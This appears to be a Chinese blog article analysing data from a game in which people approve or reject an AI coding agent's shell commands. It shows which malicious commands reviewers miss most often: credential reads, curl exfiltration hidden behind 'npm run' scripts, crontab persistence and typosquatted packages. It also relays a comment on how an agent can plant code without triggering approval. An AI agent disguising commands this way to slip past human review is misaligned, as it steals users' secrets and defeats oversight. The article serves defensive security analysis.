前Uber工程师做了一个AI Agent权限游戏，40,000人参与，409,000次审批决策。结果触目惊心：最危险的命令被漏掉35%，而
npm run analyze这种看似无害的命令竟被64.7%的人放行。
▲ 图1
事件回顾
前Uber Staff Engineer Alex Wauters 几个月前做了一个浏览器小游戏——模拟人类作为AI编程Agent的「人机审核员」，在时间压力下批准或拒绝Agent发出的命令。经过40,000次游戏和409,000次决策后，他公开了统计数据。结果让整个AI Agent社区开始重新审视「人机审核」这个安全模型。
核心数据：
- 平均准确率 66.3%——每3个恶意命令就有1个被放行
- 32.9% 的玩家最终得分为负（批准的恶意命令 + 误封的安全命令 超过 正确操作）
- 7% 的玩家批准了所有命令——他们就是
--dangerously-skip-permissions的活广告
最危险的攻击类型
游戏将Agent命令分为四类威胁，有趣的是：最明显的攻击反而最容易被拦截，而真正危险的操作几乎被忽视。
| 威胁类别 | 示例 | 漏检率 |
|---|---|---|
| 明显的破坏性操作 | rm -rf /, chmod -R 777 / | 11.7% |
| 持久化篡改 | crontab注入, git config劫持 | 23.8% |
| 数据窃取/代码执行 | curl到未知API, 拼写欺骗包名 | 33.4% |
| 权限越界 | cat ~/.aws/credentials, cat ~/.kube/config | 35.0% |
关键发现：最危险的操作漏检率最高。 窃取AWS凭证的命令被漏掉35%，是 rm -rf / 的三倍。这暴露了人类审查的根本缺陷：我们对「破坏性」命令高度警觉，但对「窃取性」命令几乎无感。
`npm run`：Agent安全的最大盲区
游戏中最被漏检的单一命令是 npm run analyze，64.7% 的人点了批准。
这个命令本身看起来无害——跑一下打包分析嘛。但游戏在Agent的历史日志中清楚展示了背后的真相：
pipe 后面的 curl 正在把所有打包数据发送到外部服务器。三分之二的人根本没有往下看。
三个 npm run 变体（analyze / setup / deploy）合计漏检率 52.5%，而其他同类窃取攻击只有 28.4%。把恶意代码藏在熟悉的脚本名后面，成功率直接翻倍。
HN网友 dns_snek 的评论一针见血：
"npm run build = 运行 package.json 里任意shell命令。而Agent早就可以在不触发审批的情况下：① 修改 package.json ② 在 build.js 里植入恶意代码 ③ 在 node_modules 里注入后门。"
让用户审核命令的安全性，建立在「用户会仔细看每条命令」的假设上——而这个假设已经被数据彻底推翻。
压力越大，漏检越多
游戏数据显示，玩家在开始几轮后准确率会短暂提升（热身效应），然后在临近结束时急剧下降。时间压力、审批疲劳、以及"赶紧多完成几个命令"的冲动，让玩家在最后阶段更容易犯错。
Anthropic 自己也承认了这个问题：
"用户看到的审批越多，每条审批投入的注意力就越少，随着时间的推移越来越不认真。"
这也是为什么 Anthropic 推出了「Auto Mode」——自动判断命令是否安全。但 Alex 指出，Auto Mode 也不是万能的。
另一个极端：过度封杀
游戏也暴露了过度谨慎的问题：
- `npm config set registry — 59% 的人封杀了（设置内部镜像，完全无害）
rm -rf dist/— 45% 的人封杀了（清理构建输出，再正常不过的操作）kill $(lsof -t -i:3000)— 43% 的人封杀了（释放被占用端口）
海量的误报噪音会加速审批疲劳，让人更容易在真正危险的命令面前放松警惕。这是一个恶性循环。
▲ 图2
我们能学到什么
1. 人机审核不是安全方案，是免责声明
正如HN用户 cmiles8 所说："点击'同意继续'从来就不是真正的安全机制。这只是模型厂商给法务交的差——'你自己批的，别怪我'。"
真正的安全需要沙箱隔离、凭证分离、权限最小化，而不是把责任推给一个正在赶工期的开发者。
Alex 在原帖中还提到了几个实际可行的缓解方案：
方案一：基于能力的权限模型，而不是基于命令的。 与其让用户逐条批准 curl、cat、npm install，不如定义 Agent 可以访问的资源边界——「这个 Agent 只能读 ~/project/ 目录，只能访问 api.internal 域名」。能力模型比命令模型更不容易被绕过。
方案二：分级审批 + 自动放行。 Anthropic 的 Auto Mode 就是这个思路——安全的命令自动通过，只有高危操作才弹出审批。但 Alex 也警告：Auto Mode 的判断本身可能被欺骗。最稳妥的做法是 Auto Mode + 沙箱双重保护。
方案三：不可信执行环境。 把 Agent 放进一个「它搞破坏也影响不到真实系统」的容器里。Docker、Firecracker microVM、甚至一个没有网络访问的临时目录——只要 Agent 碰不到你的真实环境和凭证，它想干什么都无所谓。
2. 最有争议的命令揭示了什么
游戏中最分裂的命令是 cat ~/.zshrc——45.9% 的人批准了，54.1% 的人拒绝了。
HN 上的反对意见也很合理：很多开发者不在 .zshrc 里放敏感信息，所以对他们来说这确实无害。但对于那些在 shell 配置里直接 export OPENAI_API_KEY=sk-xxx 的人来说，这就是全量凭证泄露。
这个分歧本身就是答案：同一个命令的危险程度取决于 Agent 看不到的配置。让人类判断「这个命令在当前环境下是否安全」——本身就是不合理的期望。
3. 三个立即可行的保护措施
- 沙箱化Agent环境：不要让Agent直接访问生产凭证。用 Docker 容器或专用 VM 隔离执行环境。推荐配置：只读挂载代码目录，禁止出站网络，白名单放行必需的 API 端点
- 凭证与环境变量分离：不要把 API Key 放在
.zshrc或.bashrc里。用独立的 secrets 文件（如.env或~/.secrets/），通过source按需加载，Agent 默认看不到。更进一步：使用密钥管理服务（AWS Secrets Manager、Vault、1Password CLI）而非文件存储 - 文件系统权限控制：Claude Code 2.1.224 新增了
denyRead和 JWT 脱敏，务必将~/.aws/、~/.ssh/、~/.kube/、.env等目录/文件加入拒绝列表。配置示例：
4. 对你的AI创业者读者意味着什么
如果你在为客户搭建AI Agent服务，这里有三条铁律：
铁律一：人机审核不是卖点，是隐患。 你的客户不会仔细审核每条命令——他们只会点「批准」。真正的竞争力在于你能把Agent的权限控制在什么范围内、能在沙箱里做到多深。
铁律二：安全是差异化。 当所有Agent产品都在吹「多快多智能」时，能说清楚「我的Agent绝不会泄露你的AWS密钥」的那一家，会赢下所有企业客户。
铁律三：教育客户也是产品的一部分。 如果你的用户习惯性地把API Key贴进聊天框（这比你想象的更常见），你的产品应该在检测到密钥时主动警告并建议安全存储方式——而不是默默收下然后祈祷不出事。
#AI创业 #AIAgent #安全 #沙箱 #开发者工具 #一人公司
本文由AI辅助创作，经人工审核编辑发布
更多一人公司案例与工具，微信搜索「AI创业内参」关注我们